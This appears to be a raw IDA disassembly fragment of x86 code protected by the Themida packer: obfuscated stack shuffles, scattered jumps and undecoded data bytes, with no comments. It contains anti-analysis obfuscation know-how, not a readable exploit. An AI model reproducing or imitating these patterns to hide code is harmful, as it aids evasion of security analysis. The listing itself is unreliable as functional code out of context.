		push	esp
		mov	ebp, [esp]
		jmp	loc_574822
; ---------------------------------------------------------------------------


loc_5689CC:				; CODE XREF: Themida_:0056CD5Aj
		xchg	eax, [esp]
		jmp	loc_561AC7
; ---------------------------------------------------------------------------
		dd 66CA8766h, 66241431h, 66241433h, 0E9241431h,	0FFFF7D2Dh
		dd 405h, 4C08300h, 5C240487h, 69868h, 243C8900h, 50535F54h
		dd 0BC0F9EB8h, 0D7F7977Bh, 9DB5E9h, 0E9FD3100h,	852Ch
		dd 45A68h, 241C8900h, 3D6C6850h, 1C890000h, 33B95124h
		dd 501DD349h, 954D55B8h, 7EF10D2Ch, 0C3E90FEFh,	3300009Bh
		dd 575C241Ch, 0BD55E789h, 31176C8Ch, 0F707EDC1h, 0DFC581D5h
		dd 0C11CAE12h, 0ED8106EDh, 712F8Ch, 815DEF01h, 4C7h, 243C3300h
		dd 33243C31h, 248B243Ch, 78A2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568A76:				; CODE XREF: Themida_:005625CDj
		push	8D90D6B1h
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 62162C85h
		add	ebp, 74774Ah
		add	ebp, eax
		sub	ebp, 74774Ah
		push	ecx
		mov	ecx, 201F5457h
		dec	ecx
		sub	ecx, 76651E76h
		push	ebx
		mov	ebx, 397F3F3Ah
		shl	ebx, 1
		or	ebx, 61521F14h
		xor	ebx, 5E1C17BDh
		jmp	loc_56845F
; ---------------------------------------------------------------------------
		dw 0B68h
		dd 0E900001Ah, 0FFFF8B56h, 0B6E9D0F7h, 5000006Fh, 2B8h
		dd 58C62900h, 8B243487h, 89662424h, 0B652240Ch,	2826B583h
		dd 0EC835AF5h, 240C8904h, 0C5FE31B5h, 0ED80E5D0h, 69C5803Bh
		dd 9F3AE9h
		db 0
; ---------------------------------------------------------------------------


loc_568B01:				; CODE XREF: Themida_:0056A9B0j
		add	ch, 0AFh
		add	al, ch
		pop	ecx
		sub	al, bl
		push	small 4146h
		mov	[esp], cx
		mov	cl, 0F4h
		push	ebx
		mov	bl, 0BDh
		jmp	loc_56E143
; ---------------------------------------------------------------------------
		db 83h
		dd 0A8E904C4h, 87000045h, 835C241Ch, 343302C6h,	24343124h
		dd 0E9243433h, 0A9E9h, 0BB04C483h, 0F84EFB79h, 436EC381h
		dd 0FCE91914h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568B4B:				; CODE XREF: Themida_:00573943j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_571595
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0C335D04h, 240C3124h, 0E9240C33h, 2851h
; ---------------------------------------------------------------------------


loc_568B68:				; CODE XREF: Themida_:00572527j
		add	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56E958
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 43h
		dd 0B71AF381h, 0D901B5D7h, 0D8E9515Bh, 8100001Eh, 4C4h
		dd 0E4C38100h, 0E93ABE48h, 98B8h
; ---------------------------------------------------------------------------


loc_568BA8:				; CODE XREF: Themida_:0056D92Aj
		push	edi
		jmp	loc_565BF5
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 48F58102h, 81199159h, 3AD78CC5h, 5DEB8942h, 0ED7E381h
		dd 0C3835F5Ch, 45E94B01h, 68000007h, 4,	1F9CE9h
		db 0
; ---------------------------------------------------------------------------


loc_568BD9:				; CODE XREF: Themida_:005753FCj
		neg	ebx
		or	ebx, 38547DB7h
		jmp	loc_56DE5B
; ---------------------------------------------------------------------------
		dw 8966h
		dd 42B42404h, 88E78853h, 58665BFAh, 0E938EB80h,	2BC1h
; ---------------------------------------------------------------------------


loc_568BFC:				; CODE XREF: Themida_:00569A69j
		sub	ebx, eax
		jmp	loc_5717C9
; ---------------------------------------------------------------------------


loc_568C03:				; CODE XREF: Themida_:00565EDCj
		add	dword ptr [esp], 11D47232h
		jmp	loc_56389E
; ---------------------------------------------------------------------------


loc_568C0F:				; CODE XREF: Themida_:00574D78j
		sub	eax, 0A030DE6h
		jmp	loc_562219
; ---------------------------------------------------------------------------


loc_568C19:				; CODE XREF: Themida_:00570B64j
		pop	edx
		sub	bl, 2Dh
		add	bl, cl
		add	bl, 2Dh
		mov	ecx, [esp]
		jmp	loc_567C1E
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4, 5C241487h, 0B0240489h, 2CD634CAh,	68AB04F1h, 2AABh
		dd 0FFD727E9h, 0AEE95EFFh
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568C4F:				; CODE XREF: Themida_:0056E251j
		add	eax, 4
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	136610EAh
		pop	ebx
		shl	ebx, 5
		push	esi
		mov	esi, 933E02C0h
		add	ebx, esi
		jmp	loc_56782C
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 1ADD6824h, 3C8B3195h, 4C48324h, 0FFD3BFE9h
		dd 2434FFFFh, 0C34DE959h, 0D789FFFFh, 5FFE295Ah, 0C681D601h
		dd 4CB439E6h, 24148B5Ah, 0E904C483h, 0A5CAh, 53242489h
		dd 4BBh, 0CFFEE900h, 35B9FFFFh,	8122EA3Fh, 1C1h, 1E98300h
		dd 0C1814949h, 0DD15C0CFh, 0C8BCE01h, 4C48124h,	56000000h
		dd 42474FFh, 8124348Bh,	4C4h, 24048F00h, 6624248Bh, 0E468F9F7h
		dd 89000018h, 3268240Ch, 0E900001Ah, 4611h
; ---------------------------------------------------------------------------


loc_568D10:				; CODE XREF: Themida_:005757D2j
		xchg	ebp, [esp]
		jmp	loc_56809B
; ---------------------------------------------------------------------------
		dd 148BD301h, 4C48124h,	81000000h, 2C3h, 241C3300h, 33241C31h
		dd 0A6E9241Ch, 5AFFFFE2h, 81D2F74Ah, 400B8BC2h,	5AD00115h
		dd 2C595D2Dh, 33A9683Dh, 0C890000h, 6DEBE924h, 0C3810000h
		dd 5E04F0C0h, 547CE957h, 4050000h, 87000000h, 0C3E92404h
		dd 5C000020h, 8B2434FFh, 89572404h, 0AAE956E7h,	8BFFFFF7h
		dd 0C481241Ch, 4, 4C781h, 0FF570000h, 5F042474h, 8B24048Fh
		dd 0E9522424h, 8931h, 5A2434FFh, 0E9E18951h, 23B4h, 383BF281h
		dd 0D6016FF2h, 4C6815Ah, 87000000h, 248B2434h, 4BB5324h
		dd 0E9000000h, 0D1D0h, 8704E883h, 895C2404h, 0EC812404h
		dd 4, 83242489h, 58042404h, 405h, 0A1B95100h, 0E926D502h
		dd 0FFFFBFDEh, 2474FF53h, 48F5B04h, 24248B24h, 3A11E9h
		db 0
; ---------------------------------------------------------------------------


loc_568E05:				; CODE XREF: Themida_:0056A492j
		pop	eax
		or	bh, 0A6h
		shl	bh, 5
		or	bh, 26h
		neg	bh
		push	ebx
		not	byte ptr [esp+1]
		pop	ebx
		push	ecx
		mov	ch, 52h
		and	ch, 9Dh
		jmp	loc_5618D5
; ---------------------------------------------------------------------------
		dw 8158h
		dd 2C7h, 0D300E900h, 63BB0000h,	114725Ch, 0E5BA5DEBh, 1F5301Bh
		dd 21B3E9DAh, 74FF0000h, 8F590424h, 248B2404h, 0AB0F6624h
		dd 0E99C2404h, 2113h, 2AE95B5Ah, 8100000Fh, 4ECh, 240C8900h
		dd 6F2E9h, 3EE3500h, 0C3015335h, 243C8B58h, 4C481h, 57E90000h
		dd 5FFFF9Fh, 4,	2474FF50h, 24048B04h, 4C481h, 48F0000h
		dd 24248B24h, 9C240CFFh, 0FF7870E9h, 0C48359FFh, 4C48304h
		dd 8AD68h, 243C8900h, 0BB53E789h, 87B5049h, 700E381h, 554301CBh
		dd 0FFDE60E9h, 468FFh, 15E0000h, 0B1E95EF2h, 40000095h
		dd 91572D40h, 1BE9D172h, 6600002Fh, 0E9240C8Bh,	0FFFFCA9Fh
		dd 4E0C158h, 9106E9h, 0FFC78100h, 0E9FFFFFFh, 8705h
; ---------------------------------------------------------------------------


loc_568F00:				; CODE XREF: Themida_:00566F3Dj
		add	ebx, 0B11DFDBBh
		add	edi, ebx
		jmp	loc_566868
; ---------------------------------------------------------------------------
		db 21h,	0D1h, 5Ah
		dd 0B3CAE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568F16:				; CODE XREF: Themida_:00560811j
		xor	eax, ecx
		pop	ecx
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		jmp	loc_564E7A
; ---------------------------------------------------------------------------
		dd 66C70166h, 42BE6656h, 0F729662Dh, 0FFE979E9h, 465B68FFh
		dd 0C890000h, 81E18924h, 4C1h, 4C18100h, 87000000h, 3BE9240Ch
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568F53:				; CODE XREF: Themida_:005750E6j
		mov	eax, 56A05108h
		jmp	loc_568564
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 91A07F7h, 2EEF8108h,	0E95C3C52h, 60h, 8AE3E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568F76:				; CODE XREF: Themida_:0056390Cj
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_562790
; ---------------------------------------------------------------------------


loc_568F86:				; CODE XREF: Themida_:0056729Fj
		sub	ebp, edi
		pop	edi
		jmp	loc_566ED9
; ---------------------------------------------------------------------------


loc_568F8E:				; CODE XREF: Themida_:00565356j
		mov	ebx, 444011Ah
		jmp	loc_5697B1
; ---------------------------------------------------------------------------
		dd 4C281h, 0EC810000h, 4, 55240489h, 4BDh, 5DE88900h, 8758C229h
		dd 37E92414h, 53FFFF85h, 0DD88F388h, 2434FF5Bh,	4EC815Ah
		dd 0E9000000h, 0B444h, 0C8B95153h, 0BB108132h, 0AA73C642h
		dd 159CB29h, 0C045E9DFh, 1C870000h, 0EFCAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568FEE:				; CODE XREF: Themida_:0056DADDj
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5758D1
; ---------------------------------------------------------------------------
		db 29h,	0C1h, 81h
		dd 622127C1h, 0A216E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56900E:				; CODE XREF: Themida_:005684A3j
		add	al, dh
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_56E98C
; ---------------------------------------------------------------------------
		dd 0C281F229h, 750959C2h, 0C2815Eh, 81367733h, 8323CC2h
		dd 81C2016Dh, 8323CEAh,	733C686Dh, 5AE90000h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569043:				; CODE XREF: Themida_:005737B2j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56C43E
; ---------------------------------------------------------------------------
		db 9, 0C2h, 0D1h
		dd 4EC81E2h, 89000000h,	24BA2414h, 0E9000000h, 690Ah, 0E0D80135h
		dd 7C16E9E0h, 0B80000h,	29000000h, 5CB5E9E8h, 222D0000h
		dd 55088F5Dh, 0FF7F71E9h, 39E950FFh, 0BDFFFF97h, 2C5CE9F7h
		dd 0FFEA53E9h, 67EA81FFh, 687CAA52h, 32C6h, 52240489h
		dd 0B906E9h, 4C78100h, 87000000h, 295C243Ch, 9CC381C3h
		dd 5228B84Bh, 0ED6A8DBAh, 0CAEB8138h, 815BB131h, 0F4679BC3h
		dd 1320E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5690DE:				; CODE XREF: Themida_:00560898j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2A8F6F38h
		not	ebx
		xor	ebx, 52DA3B61h
		shr	ebx, 5
		shl	ebx, 2
		jmp	loc_572F90
; ---------------------------------------------------------------------------


loc_569100:				; CODE XREF: Themida_:0056DC02j
		not	al
		xor	al, 0DDh
		push	4D9Fh
		mov	[esp], edx
		jmp	loc_5741A2
; ---------------------------------------------------------------------------


loc_569111:				; CODE XREF: Themida_:00567CD9j
		xor	esi, [esp]
		jmp	loc_56CE36
; ---------------------------------------------------------------------------
		db 0E9h, 0F7h, 75h
		dd 0C781FFFFh, 12E13D2Dh, 0EF81EF01h, 12E13D2Dh, 0CA32E9h
		dd 0BD00h, 4AE90000h, 5C000005h, 0BD242C89h, 0EE60191h
		dd 0FF99DBE9h, 74FF51FFh, 8F590424h, 515C2404h,	4B9h, 2D5FE900h
		dd 0CA800000h, 8EAC0B5h, 0EA80C2FEh, 5AD30041h,	0E9C0B60Fh
		dd 0FFFFE758h, 820AC181h, 0E9E99651h, 890000AAh, 0D7E92434h
		dd 8BFFFFEDh, 0C6E92404h, 0B9FFFFC9h, 50DF08C5h, 0E9D1F741h
		dd 0FFFF9BB7h, 0C1815954h, 4, 8704C183h, 0E95C240Ch, 0FFFF824Fh
; ---------------------------------------------------------------------------


loc_5691B0:				; CODE XREF: Themida_:00561CADj
		mov	ebp, esp
		jmp	loc_56D545
; ---------------------------------------------------------------------------
		db 5Bh
		dd 1C8BD801h, 4C48124h,	0E9000000h, 0FFFFFCBBh,	8F04C483h
		dd 248B2404h, 9B07E924h, 0E95C0000h, 0FFFF839Ch, 0E9243487h
		dd 0FFFF96B2h
; ---------------------------------------------------------------------------


loc_5691E4:				; CODE XREF: Themida_:0056784Fj
		add	edx, 9EA6CFF9h
		add	edi, edx
		pop	edx
		add	edi, 1
		push	ebp
		mov	ebp, 0
		jmp	loc_56AA99
; ---------------------------------------------------------------------------
aMsg_0		db 'Žg',9,0
		align 4
		dd 4BE56h, 0EF810000h, 2385222Dh, 7574C781h, 0F70138BEh
		dd 7574EF81h, 0C78138BEh, 2385222Dh, 2BD555Eh, 52000000h
		dd 0FB7B6EBAh, 0DAF74A19h, 0EAC1D2F7h, 0BFF28108h, 0E96215F9h
		dd 0C3BEh, 0C2C68h, 24048900h, 9376856h, 815E3560h, 0E5644EF6h
		dd 5EF08921h, 976F5705h, 0D0F74819h, 0E3233135h, 4EC81D1h
		dd 0E9000000h, 0FFFFEACAh
; ---------------------------------------------------------------------------


loc_569274:				; CODE XREF: Themida_:0056DCEDj
		pop	ebp
		jmp	loc_57443A
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4EC8324h, 81242489h,	42404h,	0E95A0000h, 0FFFFFD08h
		dd 6B63EE81h, 0CE294A4Bh, 6B63C681h, 0C8B4A4Bh,	0EC815124h
		dd 4, 81242489h, 42404h, 81590000h, 4C1h, 4C18300h, 0FF8D94E9h
		dd 241C89FFh, 0F677B252h, 80DAF6D2h, 93E97CCAh
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5692D3:				; CODE XREF: Themida_:0056FCC6j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_57252C
; ---------------------------------------------------------------------------
		db 0BEh
		dd 49D91B6Dh, 218E9h, 0C8E95A00h, 50000061h, 405E089h
		dd 81000000h, 4ECh, 24348900h, 0D2262ABEh, 895BE93Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56930A:				; CODE XREF: Themida_:005660A2j
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_564F7E
; ---------------------------------------------------------------------------
aKbSB		db 'Kÿ',1Bh,'),龡',0
		align 10h
		dd 0C8BCB31h, 4C48124h,	89000000h, 2434FFD8h, 0E389535Bh
		dd 0FFA629E9h, 58C101FFh, 695EC181h, 9EE97D70h,	5BFFFFA3h
		dd 0F0885066h, 0C688D0F6h, 0AEE95866h, 5400001Fh, 7D8BE9h
		dd 4C18100h, 0E9000000h, 0FFFFD3FEh
; ---------------------------------------------------------------------------


loc_569368:				; CODE XREF: Themida_:0056DE32j
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	2440h
		mov	[esp], eax
		xor	[esp], ecx
		jmp	loc_575A75
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 104C483h, 0FF04247Ch, 535F2434h, 0BF57E389h,	1D911943h
		dd 7C6CCF81h, 0C78170FFh, 82008295h, 575FFB01h,	4BFh, 5FFB0100h
		dd 0A2A8E9h, 0E6895600h, 4C681h, 0B0E90000h, 5E000043h
		dd 4C681h, 0BD550000h, 2CD27A59h, 0FFDF51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5693D9:				; CODE XREF: Themida_:00561AD1j
		mov	edx, ebx
		pop	ebx
		jmp	loc_575083
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0ADh
		dd 0F73A7F48h, 5E8C1D8h, 0FFB70EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5693F1:				; CODE XREF: Themida_:0056D141j
		push	3E66h
		mov	[esp], ebp
		push	72873BC7h
		pop	ebp
		jmp	loc_56DDFE
; ---------------------------------------------------------------------------


loc_569404:				; CODE XREF: Themida_:0056A3F1j
		mov	esi, 1
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		shl	ebx, 7
		sub	ebx, 21606C7Fh
		and	eax, ebx
		jmp	loc_566EB7
; ---------------------------------------------------------------------------


loc_569421:				; CODE XREF: Themida_:00561DCFj
		push	ebx
		push	2410h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_561849
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 0
aSU_0		db ')ÆéìU',0
		db 0
; ---------------------------------------------------------------------------


loc_569443:				; CODE XREF: Themida_:005628A2j
		mov	esi, 4
		add	ebx, 2C350765h
		add	ebx, esi
		sub	ebx, 2C350765h
		jmp	loc_5654BA
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 11274968h, 241C8B57h, 5304C483h, 5B2414F7h
		dd 6802EBC1h, 0
		dd 0FF241C29h, 835B2434h, 0EC8304C4h, 24348904h, 0FFDACFE9h
		dd 8EEC0FFh, 0C061C680h, 0F68002EEh, 9614E9A3h,	8146FFFFh
		dd 0F9E9D7EEh, 5EF329C9h, 0AD02E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5694B2:				; CODE XREF: Themida_:005708D2j
		mov	edx, 6D37462Dh
		inc	edx
		jmp	loc_564103
; ---------------------------------------------------------------------------
		db 55h,	51h, 56h
		dd 0BC09A468h, 0E6815E5Ch, 0DBB00FBh, 967F681h,	0E6C1692Ch
		dd 56A6E903h, 0B9510000h, 59517DB6h, 0FF9089E9h, 0C3EF81FFh
		dd 524B0B47h, 5876E9h, 240C8700h, 0C6835A5Ch, 0E7895704h
		dd 0FFE95AE9h, 0D6E981FFh, 0E916C917h, 39B6h, 5C243C87h
		dd 8704C483h, 248B240Ch, 2404FF24h, 71F3E99Ch, 5266FFFFh
		dd 0D00058B2h, 0B6525A66h, 8BF02851h, 0C4832414h, 52D82804h
		dd 0D6F6B1B6h, 52D3E9h,	9FF68100h, 100D452h, 0C1835EF1h
		dd 4E7C6804h, 0A3E90000h, 8BFFFF7Ah, 57E92424h,	0B90000B8h
		dd 48292E2Ah, 5306E9C1h, 425F6BBBh, 67C3813Fh, 0E99D012Ch
		dd 0FFFFC36Ah, 0E72E581h, 0C5813425h, 0EB340A25h, 2C8BEF89h
		dd 93E2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56958E:				; CODE XREF: Themida_:00565F34j
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_56959F:				; CODE XREF: Themida_:00570416j
					; Themida_:00570A9Ej
		push	72FAh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_573209
; ---------------------------------------------------------------------------
		dd 2474FF55h, 242C8B04h, 4C6CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5695C1:				; CODE XREF: Themida_:005745F8j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_571DCD
; ---------------------------------------------------------------------------
aIXszh		db '‰ÅXé‡h',0
		align 2
aYsl		db 'YéL¼',0
		align 10h
		dd 0C181E1D1h, 63AFA730h, 34FFCD21h, 44F6E924h,	0DBF70000h
		dd 4B6C68h, 24148900h, 0CFB5F7BAh, 0FFD331EFh, 565A2434h
		dd 0C681E689h, 4, 0FF8459E9h, 777ABFFFh, 7EBA1E04h, 0E91E0477h
		dd 0FFFFF36Eh, 0D828492Ch, 622C4904h, 80E6B252h, 0D00040F2h
		dd 68B92C5Ah, 1E35h, 68241C89h,	69BAh, 0B0240489h, 0E9C2B3DFh
		dd 0B107h
; ---------------------------------------------------------------------------


loc_569650:				; CODE XREF: Themida_:0056E8D6j
		pop	edi
		add	ebx, ebp
		pop	ebp
		add	ebx, 0F29463D1h
		mov	edx, ebx
		pop	ebx
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_5662C5
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 0E9h
		dd 95D8h, 70E9D0F6h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569693:				; CODE XREF: Themida_:0056AFD8j
		mov	esi, 42060725h
		jmp	loc_575A84
; ---------------------------------------------------------------------------


loc_56969D:				; CODE XREF: Themida_:00574455j
		mov	esi, 605E3FFBh
		and	esi, 45994EB6h
		and	esi, 34565935h
		and	esi, 370209B6h
		jmp	loc_56F5CF
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 6042BD24h, 0D5F7332Bh, 874FFD87h, 74B951FDh,	29C90646h
		dd 0ED8159CDh, 0D1FFEDC2h, 4867CD81h, 0E99559DEh, 15D0h
		dd 0E244E95Bh, 815FFFFFh, 9116CFC7h, 0B80DE916h, 0BE560000h
		dd 0FC51B88Bh, 815EF331h, 4D4A79C7h, 81DF0131h,	4D4A79EFh
		dd 0C7835B31h, 243C3304h, 33243C31h, 0BE9243Ch,	29000048h
		dd 70EE81DEh, 5B368353h, 0C888E9h
		db 0
; ---------------------------------------------------------------------------


loc_56972D:				; CODE XREF: Themida_:00574687j
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		and	eax, edx
		pop	edx
		or	edx, eax
		jmp	loc_56DC07
; ---------------------------------------------------------------------------
		dd 14E0BA52h, 525704E8h, 670991BAh, 0ABEA815Dh,	0E910B2CFh
		dd 0FFFFF542h
; ---------------------------------------------------------------------------


loc_56975C:				; CODE XREF: Themida_:0056A5D2j
		sub	ebx, 0C464FD56h
		sub	ebp, ebx
		pop	ebx
		pop	eax
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_563431
; ---------------------------------------------------------------------------


loc_569773:				; CODE XREF: Themida_:0057079Dj
		mov	edi, 638C0140h
		jmp	loc_56EFAD
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0CDh
		dd 89784773h, 814258C2h, 0C24D17F2h, 0F7DA8741h, 6F9DE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569796:				; CODE XREF: Themida_:00571DD1j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		mov	eax, 0
		add	eax, ebx
		push	ebx
		jmp	loc_56F16E
; ---------------------------------------------------------------------------


loc_5697B1:				; CODE XREF: Themida_:00568F93j
		add	ebx, 0FBBBFEEAh
		jmp	loc_5739EC
; ---------------------------------------------------------------------------
		dd 2C8BE829h, 0E3895324h, 4C381h, 0C3830000h, 0D48E904h
		dd 0C4830000h, 72392D04h, 148B660Eh, 5003E924h,	0F2C0000h
		dd 2B2C9404h, 2B04D800h, 0E952942Ch, 0FFFF70F9h
; ---------------------------------------------------------------------------


loc_5697F4:				; CODE XREF: Themida_:00565D83j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esi, 0EFBA15D2h
		mov	edi, esi
		pop	esi
		inc	edi
		or	edi, 4CA030E7h
		push	ecx
		mov	ecx, 0E2F70EE0h
		add	edi, 8B7F48h
		sub	edi, ecx
		jmp	loc_5619DA
; ---------------------------------------------------------------------------


loc_56981E:				; CODE XREF: Themida_:00561987j
		add	ebp, ecx
		pop	ecx
		pop	eax
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_56325D
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 81000000h, 8646ABEFh, 81CF017Ah, 8646ABC7h, 0E958E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569846:				; CODE XREF: Themida_:0056A11Dj
		or	edx, 1B115E95h
		sub	edx, 0CC04103Ch
		xor	esi, edx
		pop	edx
		push	esi
		pop	eax
		pop	esi
		sub	eax, 15A472C7h
		not	eax
		xchg	eax, ebp
		inc	ebp
		xchg	eax, ebp
		xor	eax, 0F0512EF0h
		mov	ecx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_575BC5
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C4h, 6E8FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569886:				; CODE XREF: Themida_:005655D4j
		push	5FDEh
		mov	[esp], ecx
		jmp	loc_567CFF
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 7833055Dh, 9E90BBAh, 0FF000012h, 48B2434h, 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56CBA1
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 241CD366h, 6E4BE99Ch, 1487FFFFh, 49BBE924h
		dd 34FF0000h, 2434FF24h, 0AC51E9h, 24248B00h, 4C281h, 51570000h
		dd 0B5F9EB9h, 5FA0BF2Ah, 0CF292A0Bh, 0B6EA8159h, 0E941FE6Bh
		dd 0FFFFC9FBh, 8E6DE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569906:				; CODE XREF: Themida_:0057291Ej
		not	eax
		add	eax, 499D8E20h
		jmp	loc_5667D3
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 875DEF29h, 895C243Ch, 0E0892404h,	0B6D3E9h, 3CBA5200h
		dd 83618F5Bh, 2C8904ECh, 0A47BD24h, 0EA292BADh,	83242C8Bh
		dd 555604C4h, 1BC8E9h, 8BCE0100h, 0A1E9240Ch, 5C000020h
		dd 90668h, 243C8900h, 7ED9E9h
		db 0
; ---------------------------------------------------------------------------


loc_569961:				; CODE XREF: Themida_:00566FB7j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		push	1E4E536Fh
		mov	esi, [esp]
		jmp	loc_56D0AC
; ---------------------------------------------------------------------------
		dw 0A1BBh
		dd 0E916DA2Fh, 0A30Ch, 148BD388h, 4C48324h, 5B66D828h
		dd 0A730E9h, 32054800h,	898DD765h, 0E6C158C6h, 2CE8107h
		dd 0F76AB74Eh, 0B5F681DEh, 8174F72Dh, 85F7F6EEh, 7E05E982h
		dd 8B66FFFFh, 34682404h, 0E9000025h, 0AACEh, 9F56B8BAh
		dd 576BE934h, 0C4830000h, 0E8BD5504h, 514E9D42h, 0ABBBA52h
		dd 0D1897B90h, 0B6B0E95Ah, 0DD0DFFFFh, 0E956AE00h, 3F03h
		dd 0B404C483h, 8BDC305Ah, 0C481241Ch, 4, 0E903ECC0h, 5BE4h
		dd 0E904C483h, 0A46Ah, 1AE9FB31h, 0C100009Ch, 0C3E908E9h
		dd 10000ADh, 9390E9D3h,	8B590000h, 241C8B0Bh, 81E28952h
		dd 4C2h, 4C28100h, 0E9000000h, 36BDh, 8EEF814Fh, 0E91B0D2Dh
		dd 0FFFFF4A9h
; ---------------------------------------------------------------------------


loc_569A4C:				; CODE XREF: Themida_:00564634j
		pop	edx
		dec	eax
		shl	eax, 2
		shr	eax, 4
		add	eax, 5E542ED7h
		mov	ebx, eax
		pop	eax
		xor	ebx, 4BD566DDh
		dec	ebx
		push	eax
		mov	eax, 208F20D5h
		jmp	loc_568BFC
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 25ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_569A75:				; CODE XREF: Themida_:00561865j
		shl	ecx, 1
		sub	ecx, 0C4C0332Dh
		sub	esi, ecx
		pop	ecx
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	363Ch
		mov	[esp], ebx
		jmp	loc_5709E2
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 6C7BE92Ch, 481FFFFh,	424h, 24048F00h, 4240481h, 5B000000h
		dd 4EC81h, 2C890000h, 7468BD24h, 3D683654h, 89000023h
		dd 65BB241Ch, 81327A71h, 0A4B7BBC3h, 0E9DD2139h, 0B762h
; ---------------------------------------------------------------------------


loc_569AD4:				; CODE XREF: Themida_:005735A9j
		sub	ebx, ebp
		pop	ebp
		and	ecx, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5663C5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E841BD00h, 10E9AB19h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

locret_569B0B:				; CODE XREF: Themida_:005716B7j
		retn
; ---------------------------------------------------------------------------
